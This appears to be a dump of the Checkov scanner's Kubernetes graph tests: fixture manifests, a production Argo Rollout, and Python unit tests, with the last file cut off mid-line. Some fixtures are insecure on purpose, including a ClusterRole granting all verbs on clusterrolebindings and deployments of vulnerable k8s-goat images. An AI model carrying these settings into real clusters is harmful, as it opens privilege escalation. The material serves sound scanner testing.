    "content": "apiVersion: argoproj.io/v1alpha1\nkind: Rollout\nmetadata:\n  name: rollout-pairs-admin\n  annotations:\n    notifications.argoproj.io/subscribe.on-rollout-completed.slack: pairs-deploy-prod\n    notifications.argoproj.io/subscribe.on-rollout-aborted.slack: pairs-deploy-prod\nspec:\n  strategy:\n    blueGreen:\n      # Name of the service that the rollout modifies as the active service.\n      activeService: service-pairs-admin-stable\n      # Name of the service that the rollout modifies as the preview service. +optional\n      # previewService: service-pairs-admin-stable\n\n      # The number of replicas to run under the preview service before the switchover. Once the rollout is resumed the new replicaset will be full scaled up before the switch occurs +optional\n      previewReplicaCount: 1\n      # Indicates if the rollout should automatically promote the new ReplicaSet to the active service or enter a paused state. If not specified, the default value is true. +optional\n      autoPromotionEnabled: true\n      # Adds a delay before scaling down the previous replicaset. If omitted, the Rollout waits 30 seconds before scaling down the previous ReplicaSet. A minimum of 30 seconds is recommended to ensure IP table propagation across the nodes in a cluster. See https://github.com/argoproj/argo-rollouts/issues/19#issuecomment-476329960 for more information\n      scaleDownDelaySeconds: 120\n  progressDeadlineSeconds: 600\n  progressDeadlineAbort: true\n  selector:\n    matchLabels:\n      app: prod-pairs-tw-admin\n  template:\n    metadata:\n      labels:\n        name: prod-pairs-tw-admin\n        app: prod-pairs-tw-admin\n    spec:\n      # https://aws.github.io/aws-eks-best-practices/reliability/docs/application/#schedule-replicas-across-nodes\n      affinity:\n        podAntiAffinity:\n          preferredDuringSchedulingIgnoredDuringExecution:\n            - podAffinityTerm:\n                labelSelector:\n                  matchExpressions:\n                    - key: name\n                      operator: In\n                      values:\n                        - prod-pairs-tw-admin\n                topologyKey: topology.kubernetes.io/zone\n              weight: 100\n            - podAffinityTerm:\n                labelSelector:\n                  matchExpressions:\n                    - key: name\n                      operator: In\n                      values:\n                        - prod-pairs-tw-admin\n                topologyKey: kubernetes.io/hostname\n              weight: 99\n        nodeAffinity:\n          requiredDuringSchedulingIgnoredDuringExecution:\n            nodeSelectorTerms:\n              - matchExpressions:\n                  - key: eks.amazonaws.com/nodegroup\n                    operator: In\n                    values:\n                      - prod-ceres-v124-ondemand-nodes-20221212\n                      - prod-ceres-v124-spot-nodes-20221212\n      terminationGracePeriodSeconds: 50\n      containers:\n        - name: app-container\n          image: 953576779582.dkr.ecr.ap-northeast-1.amazonaws.com/pairs-fs/prod-tw-admin:34dfbb8b0c01b8db904b945a3790a371244839ef\n          ports:\n            - name: app\n              containerPort: 80\n          resources:\n            requests:\n              cpu: \"800m\"\n              memory: \"1000M\"\n            limits:\n              cpu: \"800m\"\n              memory: \"1000M\"\n          readinessProbe:\n            httpGet:\n              path: /health_check\n              port: 80\n            initialDelaySeconds: 5\n            periodSeconds: 3\n            failureThreshold: 30\n          livenessProbe:\n            httpGet:\n              path: /health_check\n              port: 80\n            initialDelaySeconds: 5\n            periodSeconds: 3\n            failureThreshold: 30\n          lifecycle:\n            preStop:\n              exec:\n                command: [\"sh\", \"-c\", \"sleep 30\"]\n          volumeMounts:\n            - name: log\n              mountPath: /log/\n          envFrom:\n            - configMapRef:\n                name: pairs-tw-admin-envs\n            - secretRef:\n                name: pairs-tw-admin-secrets\n        - name: td-agent\n          image: 953576779582.dkr.ecr.ap-northeast-1.amazonaws.com/td-agent:20221121073136master\n          imagePullPolicy: IfNotPresent\n          ports:\n            - name: td-agent\n              containerPort: 20224\n          resources:\n            requests:\n              cpu: \"200m\"\n              memory: \"700M\"\n            limits:\n              cpu: \"200m\"\n              memory: \"700M\"\n          readinessProbe:\n            tcpSocket:\n              port: 20224\n            initialDelaySeconds: 5\n            periodSeconds: 3\n            failureThreshold: 30\n          livenessProbe:\n            tcpSocket:\n              port: 20224\n            initialDelaySeconds: 5\n            periodSeconds: 3\n            failureThreshold: 30\n          lifecycle:\n            preStop:\n              exec:\n                command: [\"sh\", \"-c\", \"sleep 30\"]\n          volumeMounts:\n            - name: log\n              mountPath: /log/\n              readOnly: true\n          env:\n            - name: ENV_TD_AGENT_MODE\n              value: pairs\n            - name: ENV_TD_CUSTOMS\n              value: pairs_access\n            - name: RUN_ENV\n              value: prod\n            - name: RUN_REGION\n              value: tw\n            - name: RUN_SERVICE\n              value: admin\n            - name: METIS_PROJECT_ID\n              value: eure-metis\n          envFrom:\n            - secretRef:\n                name: pairs-admin-tdagent-secrets\n        - name: datadog-agent\n          image: 953576779582.dkr.ecr.ap-northeast-1.amazonaws.com/datadog-agent:20220530102433master\n          imagePullPolicy: IfNotPresent\n          ports:\n            - name: datadog\n              containerPort: 8126\n          resources:\n            requests:\n              cpu: \"75m\"\n              memory: \"300M\"\n            limits:\n              cpu: \"75m\"\n              memory: \"300M\"\n          readinessProbe:\n            tcpSocket:\n              port: 8126\n            initialDelaySeconds: 5\n            periodSeconds: 3\n            failureThreshold: 30\n          livenessProbe:\n            tcpSocket:\n              port: 8126\n            initialDelaySeconds: 5\n            periodSeconds: 3\n            failureThreshold: 30\n          lifecycle:\n            preStop:\n              exec:\n                command: [\"sh\", \"-c\", \"sleep 30\"]\n          env:\n            - name: DD_DOCKER_LABELS_AS_TAGS\n              value: '{\\\"role\\\":\\\"role\\\"}'\n            - name: DD_HOSTNAME\n              value: pairsadmin-eks-prod-tw\n            - name: DD_TAGS\n              value: 'region:tw service:pairs-admin role:admin env:prod'\n            - name: ENV_DD_REGION\n              value: tw\n            - name: ENV_DD_SERVICE\n              value: pairs-admin\n            - name: ENV_DD_ENV\n              value: prod\n            - name: ENV_DD_ROLE\n              value: admin\n            - name: ENV_DD_ENABLED_OPTS\n              value: 'nginx'\n            - name: KUBERNETES\n              value: 'yes'\n            - name: DD_LOGS_ENABLED\n              value: 'true'\n            - name: DD_APM_ENABLED\n              value: 'true'\n            - name: DD_APM_ENV\n              value: prod\n          envFrom:\n            - secretRef:\n                name: pairs-admin-datadog-secrets"
  },
  {
    "path": "tests/kubernetes/graph/resources/faulty_resources/deployment_missing_metadata.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\nspec:\n  selector:\n    matchLabels:\n      app: myapp\n  minReadySeconds: 5\n  template:\n    metadata:\n      labels:\n        app: myapp\n    spec:\n      containers:\n      - name: podName\n        image: nginx\n        resources:\n          limits:\n            memory: \"128Mi\"\n            cpu: \"500m\"\n        ports:\n        - containerPort: 80\n"
  },
  {
    "path": "tests/kubernetes/graph/resources/faulty_resources/incompatible_clusterrolebinding.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\n# This cluster role binding allows anyone in the \"manager\" group to read secrets in any namespace.\nkind: ClusterRoleBinding\nmetadata:\n  name: failing-crb1\nroleRef:\n  kind: ClusterRole\n  name: failing-cr1\n  apiGroup: rbac.authorization.k8s.io\nsubjects:\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: nginx-deployment\n  labels:\n    app: nginx\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      serviceAccount: service-account-name\n      containers:\n      - name: nginx\n        image: nginx:1.14.2\n        ports:\n        - containerPort: 80\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: failing-cr1\nrules:\n- apiGroups: [\"rbac.authorization.k8s.io\"]\n  resources: [\"clusterrolebindings\"]\n  verbs: [\"*\"]\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: service-account-name\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: service-account-name2"
  },
  {
    "path": "tests/kubernetes/graph/resources/faulty_resources/incompatible_selector.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: deployment_name\nspec:\n  selector: kill\n  minReadySeconds: 5\n  template:\n    metadata:\n      labels:\n        app: myapp\n    spec:\n      containers:\n      - name: podName\n        image: nginx\n        resources:\n          limits:\n            memory: \"128Mi\"\n            cpu: \"500m\"\n        ports:\n        - containerPort: 80\n"
  },
  {
    "path": "tests/kubernetes/graph/resources/graph_check.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: internal-proxy-deployment\n  labels:\n    app: internal-proxy\nspec:\n  selector:\n    matchLabels:\n      app: internal-proxy\n  template:\n    metadata:\n      labels:\n        app: internal-proxy\n    spec:\n      containers:\n      - name: internal-api\n        image: madhuakula/k8s-goat-internal-api\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 3000\n      - name: info-app\n        image: madhuakula/k8s-goat-info-app\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 5000\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: external-proxy-deployment\n  labels:\n    app: external-proxy\nspec:\n  selector:\n    matchLabels:\n      app: external-proxy\n  template:\n    metadata:\n      labels:\n        app: external-proxy\n    spec:\n      containers:\n      - name: internal-api\n        image: madhuakula/k8s-goat-internal-api\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 3000\n      - name: info-app\n        image: madhuakula/k8s-goat-info-app\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 5000\n---\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: test-network-policy\n  namespace: default\nspec:\n  podSelector:\n    matchLabels:\n      app: internal-proxy\n  policyTypes:\n    - Ingress\n    - Egress\n  ingress:\n    - from:\n        - ipBlock:\n            cidr: 172.17.0.0/16\n            except:\n              - 172.17.1.0/24\n        - podSelector:\n            matchLabels:\n              app: internal-proxy\n      ports:\n        - protocol: TCP\n          port: 6379\n  egress:\n    - to:\n        - ipBlock:\n            cidr: 10.0.0.0/24\n      ports:\n        - protocol: TCP\n          port: 5978\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: skipdeployment\n  annotations:\n    \"checkov.io/skip\": \"CKV2_K8S_6=skip it\"\n  labels:\n    app: skip\nspec:\n  selector:\n    matchLabels:\n      app: skip\n  template:\n    metadata:\n      labels:\n        app: skip\n    spec:\n      containers:\n      - name: info-app\n        image: madhuakula/k8s-goat-info-app\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 5000\n"
  },
  {
    "path": "tests/kubernetes/graph/resources/nested_resource.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: deployment_name\nspec:\n  selector:\n    matchLabels:\n      app: myapp\n  minReadySeconds: 5\n  template:\n    metadata:\n      labels:\n        app: myapp\n    spec:\n      containers:\n      - name: podName\n        image: nginx\n        resources:\n          limits:\n            memory: \"128Mi\"\n            cpu: \"500m\"\n        ports:\n        - containerPort: 80\n"
  },
  {
    "path": "tests/kubernetes/graph/resources/statefulstate_nested_resource.yaml",
    "content": "apiVersion: apps/v1\nkind: StatefulSet\nmetadata:\n  name: cassandra\n  labels:\n    app: cassandra\nspec:\n  serviceName: cassandra\n  replicas: 3\n  selector:\n    matchLabels:\n      app: cassandra\n  template:\n    metadata:\n      labels:\n        app: cassandra\n    spec:\n      terminationGracePeriodSeconds: 1800\n      containers:\n      - name: cassandra\n        image: gcr.io/google-samples/cassandra:v13\n        imagePullPolicy: Always\n        securityContext:\n          capabilities:\n            add:\n              - IPC_LOCK"
  },
  {
    "path": "tests/kubernetes/graph/test_graph_manager.py",
    "content": "import os\n\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.graph_builder.graph_components.block_types import BlockType\nfrom checkov.kubernetes.graph_manager import KubernetesGraphManager\nfrom checkov.kubernetes.parser.parser import parse\nfrom tests.kubernetes.graph.base_graph_tests import TestGraph\nfrom checkov.kubernetes.kubernetes_graph_flags import K8sGraphFlags\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\nclass TestKubernetesGraphManager(TestGraph):\n    def test_build_graph_from_source_directory_no_rendering(self):\n        root_dir = os.path.realpath(os.path.join(TEST_DIRNAME, \"../runner/resources\"))\n        graph_manager = KubernetesGraphManager(db_connector=NetworkxConnector())\n        graph_flags = K8sGraphFlags(create_complex_vertices=False, create_edges=False)\n        graph_manager.graph_flags = graph_flags\n        local_graph, definitions = graph_manager.build_graph_from_source_directory(root_dir, render_variables=False)\n\n        expected_resources_by_file = {\n            os.path.join(root_dir, \"example.yaml\"): [\n                \"Service.default.kafka-hs\"],\n            os.path.join(root_dir, \"example_multiple.yaml\"): [\n                \"PodDisruptionBudget.a.a\",\n                \"Service.default.a\"],\n            os.path.join(root_dir, \"graph.yaml\"): [\n                \"StatefulSet.default.cassandra\",\n                \"Deployment.default.my-nginx\",\n                \"Pod.default.cassandra.app-cassandra\",\n                \"Pod.default.my-nginx.app-nginx\"]\n        }\n        self.assertEqual(7, len(local_graph.vertices))\n        self.assertEqual(7, len(local_graph.vertices_by_block_type[BlockType.RESOURCE]))\n\n        for v in local_graph.vertices:\n            self.assertIn(v.name, expected_resources_by_file[v.path])\n\n    def test_build_graph_from_definitions(self):\n        relative_file_path = \"../checks/example_AllowedCapabilities/cronjob-PASSED.yaml\"\n        definitions = {}\n        graph_flags = K8sGraphFlags(create_complex_vertices=False, create_edges=False)\n        file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path))\n        (definitions[relative_file_path], definitions_raw) = parse(file)\n        resource = definitions[relative_file_path][0]\n\n        graph_manager = KubernetesGraphManager(db_connector=NetworkxConnector())\n        graph_manager.graph_flags = graph_flags\n        local_graph = graph_manager.build_graph_from_definitions(definitions)\n        self.assertEqual(1, len(local_graph.vertices))\n        self.assert_vertex(local_graph.vertices[0], resource)\n"
  },
  {
    "path": "tests/kubernetes/graph/test_kubernetes_utils.py",
    "content": "import os\n\nfrom tests.kubernetes.graph.base_graph_tests import TestGraph\nfrom checkov.kubernetes.kubernetes_utils import build_resource_id_from_labels, PARENT_RESOURCE_KEY_NAME, should_include_path\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\nRELATIVE_PATH = os.path.join(\"resources\", \"definitions\")\nPATH_HIDDEN = \"/Users/mblonder/dev/checkov/tests/kubernetes/graph/resources/definitions/.hidden/graph_check.yaml\"\nPATH_NOT_HIDDEN = \"/Users/mblonder/dev/checkov/tests/kubernetes/graph/resources/definitions/not_hidden/graph_check.yaml\"\n\n\nclass TestKubernetesUtilsZ(TestGraph):\n    def test_build_resource_id_from_labels(self) -> None:\n        resource = {PARENT_RESOURCE_KEY_NAME: \"deployment_name\"}\n        resource_type = \"Pod\"\n        namespace = \"default\"\n        labels = {\"app\": \"foo\", \"cluster\": \"bar\"}\n        result = build_resource_id_from_labels(resource_type, namespace, labels, resource)\n        self.assertEqual(result, \"Pod.default.deployment_name.app-foo.cluster-bar\")\n\n    def test_build_resource_id_from_empty_labels(self) -> None:\n        resource = {PARENT_RESOURCE_KEY_NAME: \"deployment_name\"}\n        resource_type = \"Pod\"\n        namespace = \"namespace\"\n        labels = {}\n        result = build_resource_id_from_labels(resource_type, namespace, labels, resource)\n        self.assertEqual(result, \"Pod.namespace.deployment_name.default\")\n    \n    def test_should_include_path_include_hidden(self) -> None:\n        ignore_hidden_dir = False\n\n        should_include_hidden = should_include_path(PATH_HIDDEN, ignore_hidden_dir)\n        should_include_not_hidden = should_include_path(PATH_NOT_HIDDEN, ignore_hidden_dir)\n\n        self.assertEqual(should_include_hidden, True)\n        self.assertEqual(should_include_not_hidden, True)\n    \n    def test_should_include_path_not_include_hidden(self) -> None:\n        ignore_hidden_dir = True\n\n        should_include_hidden = should_include_path(PATH_HIDDEN, ignore_hidden_dir)\n        should_include_not_hidden = should_include_path(PATH_NOT_HIDDEN, ignore_hidden_dir)\n\n        self.assertEqual(should_include_hidden, False)\n        self.assertEqual(should_include_not_hidden, True)\n\n\n"
  },
  {
    "path": "tests/kubernetes/graph/test_local_graph.py",
    "content": "import os\n\nfrom checkov.kubernetes.graph_builder.graph_components.edge_builders.ServiceAccountEdgeBuilder import \\\n    ServiceAccountEdgeBuilder\nfrom checkov.kubernetes.graph_builder.local_graph import KubernetesLocalGraph\nfrom checkov.kubernetes.parser.parser import parse\nfrom tests.kubernetes.graph.base_graph_tests import TestGraph\nfrom checkov.kubernetes.kubernetes_graph_flags import K8sGraphFlags\nfrom checkov.kubernetes.kubernetes_utils import PARENT_RESOURCE_KEY_NAME, PARENT_RESOURCE_ID_KEY_NAME\nfrom checkov.kubernetes.graph_builder.graph_components.edge_builders.LabelSelectorEdgeBuilder import LabelSelectorEdgeBuilder\nfrom checkov.kubernetes.graph_builder.graph_components.edge_builders.KeywordEdgeBuilder import KeywordEdgeBuilder\nfrom checkov.kubernetes.graph_builder.graph_components.edge_builders.NetworkPolicyEdgeBuilder import NetworkPolicyEdgeBuilder\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\nclass TestKubernetesLocalGraph(TestGraph):\n    def test_build_graph_with_single_resource(self) -> None:\n        relative_file_path = \"../checks/example_AllowedCapabilities/cronjob-PASSED.yaml\"\n        definitions = {}\n        file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path))\n        (definitions[relative_file_path], definitions_raw) = parse(file)\n        resource = definitions[relative_file_path][0]\n\n        local_graph = KubernetesLocalGraph(definitions)\n        local_graph.build_graph(render_variables=False, graph_flags=K8sGraphFlags())\n        self.assertEqual(1, len(local_graph.vertices))\n        self.assert_vertex(local_graph.vertices[0], resource)\n\n    def test_build_graph_with_multi_resources(self) -> None:\n        relative_file_path = \"../checks/example_DefaultNamespace/default-k8s-service-and-sa-PASSED2.yaml\"\n        definitions = {}\n        file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path))\n        (definitions[relative_file_path], definitions_raw) = parse(file)\n        local_graph = KubernetesLocalGraph(definitions)\n        local_graph.build_graph(render_variables=False, graph_flags=K8sGraphFlags())\n        self.assertEqual(4, len(local_graph.vertices))\n\n    def test_build_graph_with_nested_resources(self) -> None:\n        file = os.path.join(TEST_DIRNAME, 'resources', 'nested_resource.yaml')\n        definitions = {}\n        graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=False)\n        (definitions[file], definitions_raw) = parse(file)\n        local_graph = KubernetesLocalGraph(definitions)\n        local_graph.build_graph(render_variables=False, graph_flags=graph_flags)\n        self.assertEqual(2, len(local_graph.vertices))\n        assert local_graph.vertices[0].id == 'Deployment.default.deployment_name'\n        assert local_graph.vertices[0].attributes.get('spec').get('template') is None\n        assert local_graph.vertices[0].metadata.name == 'deployment_name'\n        assert local_graph.vertices[0].metadata.selector.match_labels.get('app') == 'myapp'\n        assert local_graph.vertices[0].metadata.labels is None\n        assert local_graph.vertices[1].id == 'Pod.default.deployment_name.app-myapp'\n        assert local_graph.vertices[1].config[PARENT_RESOURCE_KEY_NAME] == 'deployment_name'\n        assert local_graph.vertices[1].config[PARENT_RESOURCE_ID_KEY_NAME] == 'Deployment.default.deployment_name'\n        assert local_graph.vertices[1].config.get('kind') == 'Pod'\n        assert local_graph.vertices[1].config.get('apiVersion') == local_graph.vertices[0].config.get('apiVersion')\n        assert len(local_graph.vertices[1].attributes.get('spec').get('containers')) == 1\n        assert local_graph.vertices[1].metadata.name is None\n        assert local_graph.vertices[1].metadata.selector.match_labels is None\n        assert local_graph.vertices[1].metadata.labels.get('app') == 'myapp'\n\n    def test_LabelSelectorEdgeBuilder_on_template_with_matched_label_and_selector(self) -> None:\n        relative_file_path = \"resources/LabelSelector/label_selector_match.yaml\"\n        definitions = {}\n        file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path))\n        (definitions[relative_file_path], definitions_raw) = parse(file)\n        graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True)\n\n        local_graph = KubernetesLocalGraph(definitions)\n        local_graph.edge_builders = [LabelSelectorEdgeBuilder, ]\n        local_graph.build_graph(render_variables=False, graph_flags=graph_flags)\n        self.assertEqual(2, len(local_graph.vertices))\n        self.assertEqual(1, len(local_graph.edges))\n\n    def test_LabelSelectorEdgeBuilder_on_template_with_non_matched_label_and_selector(self) -> None:\n        relative_file_path = \"resources/LabelSelector/label_selector_non_match.yaml\"\n        definitions = {}\n        file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path))\n        (definitions[relative_file_path], definitions_raw) = parse(file)\n        graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True)\n\n        local_graph = KubernetesLocalGraph(definitions)\n        local_graph.edge_builders = [LabelSelectorEdgeBuilder, ]\n        local_graph.build_graph(render_variables=False, graph_flags=graph_flags)\n        self.assertEqual(2, len(local_graph.vertices))\n        self.assertEqual(0, len(local_graph.edges))\n\n    def test_LabelSelectorEdgeBuilder_on_template_with_matched_and_non_matched_label_and_selector(self) -> None:\n        relative_file_path = \"resources/LabelSelector/label_selector_multiple_resources.yaml\"\n        definitions = {}\n        file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path))\n        (definitions[relative_file_path], definitions_raw) = parse(file)\n        graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True)\n\n        local_graph = KubernetesLocalGraph(definitions)\n        local_graph.edge_builders = [LabelSelectorEdgeBuilder, ]\n        local_graph.build_graph(render_variables=False, graph_flags=graph_flags)\n        self.assertEqual(3, len(local_graph.vertices))\n        self.assertEqual(1, len(local_graph.edges))\n\n    def test_KeywordEdgeBuilder_on_templates_with_matched_cluster_role_binding(self) -> None:\n        relative_file_path = \"resources/Keyword/clusterrolebinding.yaml\"\n        definitions = {}\n        file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path))\n        (definitions[relative_file_path], definitions_raw) = parse(file)\n        graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True)\n\n        local_graph = KubernetesLocalGraph(definitions)\n        local_graph.edge_builders = [KeywordEdgeBuilder, ]\n        local_graph.build_graph(render_variables=False, graph_flags=graph_flags)\n        self.assertEqual(6, len(local_graph.vertices))\n        self.assertEqual(3, len(local_graph.edges))\n        self.assertEqual(local_graph.edges[0].origin, 0)\n        self.assertEqual(local_graph.edges[0].dest, 3)\n        self.assertEqual(local_graph.edges[1].origin, 0)\n        self.assertEqual(local_graph.edges[1].dest, 4)\n\n    def test_KeywordEdgeBuilder_and_ServiceAccountEdgeBuilder_on_templates_with_pod_and_service_account(self) -> None:\n        relative_file_path = \"resources/Keyword/pod_service_account.yaml\"\n        definitions = {}\n        file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path))\n        (definitions[relative_file_path], definitions_raw) = parse(file)\n        graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True)\n\n        local_graph = KubernetesLocalGraph(definitions)\n        local_graph.edge_builders = [KeywordEdgeBuilder, ServiceAccountEdgeBuilder()]\n        local_graph.build_graph(render_variables=False, graph_flags=graph_flags)\n        self.assertEqual(4, len(local_graph.vertices))\n        self.assertEqual(3, len(local_graph.edges))\n        self.assertEqual(local_graph.edges[0].origin, 1)\n        self.assertEqual(local_graph.edges[0].dest, 2)\n        self.assertEqual(local_graph.edges[1].origin, 1)\n        self.assertEqual(local_graph.edges[1].dest, 3)\n        self.assertEqual(local_graph.edges[2].origin, 3)\n        self.assertEqual(local_graph.edges[2].dest, 0)\n\n    def test_LabelSelectorEdgeBuilder_on_templates_with_network_policy(self) -> None:\n        relative_file_path = \"resources/Keyword/network-policy-attached.yaml\"\n        definitions = {}\n        file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path))\n        (definitions[relative_file_path], definitions_raw) = parse(file)\n        graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True)\n\n        local_graph = KubernetesLocalGraph(definitions)\n        local_graph.edge_builders = [NetworkPolicyEdgeBuilder, LabelSelectorEdgeBuilder]\n        local_graph.build_graph(render_variables=False, graph_flags=graph_flags)\n        self.assertEqual(5, len(local_graph.vertices))\n        self.assertEqual(4, len(local_graph.edges))\n\n    def test_extracting_pod_from_container_types(self) -> None:\n        relative_file_path = \"resources/statefulstate_nested_resource.yaml\"\n        definitions = {}\n        file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path))\n        (definitions[relative_file_path], definitions_raw) = parse(file)\n        graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True)\n\n        local_graph = KubernetesLocalGraph(definitions)\n        local_graph.edge_builders = [NetworkPolicyEdgeBuilder, LabelSelectorEdgeBuilder]\n        local_graph.build_graph(render_variables=False, graph_flags=graph_flags)\n        self.assertEqual(2, len(local_graph.vertices))\n        self.assertEqual(1, len(local_graph.edges))\n\n    def test_deployment_with_incompatible_selector(self) -> None:\n        relative_file_path = \"resources/faulty_resources/incompatible_selector.yaml\"\n        definitions = {}\n        file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path))\n        (definitions[relative_file_path], definitions_raw) = parse(file)\n        graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True)\n\n        local_graph = KubernetesLocalGraph(definitions)\n        local_graph.edge_builders = [NetworkPolicyEdgeBuilder, LabelSelectorEdgeBuilder]\n        local_graph.build_graph(render_variables=False, graph_flags=graph_flags)\n        self.assertEqual(2, len(local_graph.vertices))\n        self.assertEqual(0, len(local_graph.edges))\n\n    def test_KeywordEdgeBuilder_incompatible_cluster_role_binding(self) -> None:\n        relative_file_path = \"resources/faulty_resources/incompatible_clusterrolebinding.yaml\"\n        definitions = {}\n        file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path))\n        (definitions[relative_file_path], definitions_raw) = parse(file)\n        graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True)\n\n        local_graph = KubernetesLocalGraph(definitions)\n        local_graph.edge_builders = [KeywordEdgeBuilder, ]\n        local_graph.build_graph(render_variables=False, graph_flags=graph_flags)\n        self.assertEqual(6, len(local_graph.vertices))\n        self.assertEqual(1, len(local_graph.edges))\n\n    def test_deployment_with_missing_metadata(self) -> None:\n        relative_file_path = \"resources/faulty_resources/deployment_missing_metadata.yaml\"\n        definitions = {}\n        file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path))\n        (definitions[relative_file_path], definitions_raw) = parse(file)\n        graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True)\n\n        local_graph = KubernetesLocalGraph(definitions)\n        local_graph.edge_builders = [NetworkPolicyEdgeBuilder, LabelSelectorEdgeBuilder]\n        local_graph.build_graph(render_variables=False, graph_flags=graph_flags)\n        self.assertEqual(0, len(local_graph.vertices))\n        self.assertEqual(0, len(local_graph.edges))\n\n    def test_custom_resource_should_not_extract_pod(self) -> None:\n        relative_file_path = \"resources/custom_resource.yaml\"\n        definitions = {}\n        file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path))\n        (definitions[relative_file_path], definitions_raw) = parse(file)\n        graph_flags = K8sGraphFlags(create_complex_vertices=True, create_edges=True)\n\n        local_graph = KubernetesLocalGraph(definitions)\n        local_graph.edge_builders = [NetworkPolicyEdgeBuilder, LabelSelectorEdgeBuilder]\n        local_graph.build_graph(render_variables=False, graph_flags=graph_flags)\n        self.assertEqual(1, len(local_graph.vertices))\n        self.assertEqual(0, len(local_graph.edges))\n"
  },
  {
    "path": "tests/kubernetes/graph/test_running_graph_checks.py",
    "content": "from pathlib import Path\n\nimport pytest\nfrom pytest_mock import MockerFixture\n\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom tests.graph_utils.utils import GRAPH_FRAMEWORKS\n\nRESOURCES_DIR = Path(__file__).parent / \"resources\"\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_runner(mocker: MockerFixture, graph_framework):\n    # given\n    test_file_path = RESOURCES_DIR / \"graph_check.yaml\"\n    runner_filter = RunnerFilter(checks=[\"CKV2_K8S_6\"])\n\n    mocker.patch.dict(\"os.environ\", {\"CHECKOV_GRAPH_FRAMEWORK\": graph_framework})\n\n    # when\n    report = Runner().run(root_folder=None, files=[str(test_file_path)], runner_filter=runner_filter)\n\n    #  when\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 1\n    assert summary[\"failed\"] == 1\n    assert summary[\"skipped\"] == 1\n    assert summary[\"parsing_errors\"] == 0\n"
  },
  {
    "path": "tests/kubernetes/image_referencer/__init__.py",
    "content": ""
  },
  {
    "path": "tests/kubernetes/image_referencer/provider/__init__.py",
    "content": ""
  },
  {
    "path": "tests/kubernetes/image_referencer/provider/test_k8s.py",
    "content": "from unittest import mock\n\nimport pytest\nfrom checkov.kubernetes.image_referencer.provider.k8s import KubernetesProvider\nfrom checkov.common.images.image_referencer import Image\nfrom tests.graph_utils.utils import GRAPH_FRAMEWORKS, set_graph_by_graph_framework, \\\n    add_vertices_to_graph_by_graph_framework\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_extract_images_from_resources(graph_framework):\n    # given\n    resource = {\n        \"file_path_\": \"/pod.yaml\",\n        \"__endline__\": 16,\n        \"__startline__\": 1,\n        \"spec\": {\n            \"initContainers\": [\n                {\n                    \"name\": \"init-sysctl\",\n                    \"image\": \"busybox\",\n                },\n            ],\n            \"containers\": [\n                {\n                    \"name\": \"test-container\",\n                    \"image\": \"nginx\",\n                },\n            ],\n        },\n        \"resource_type\": \"Pod\",\n    }\n    graph = set_graph_by_graph_framework(graph_framework)\n    add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph)\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': 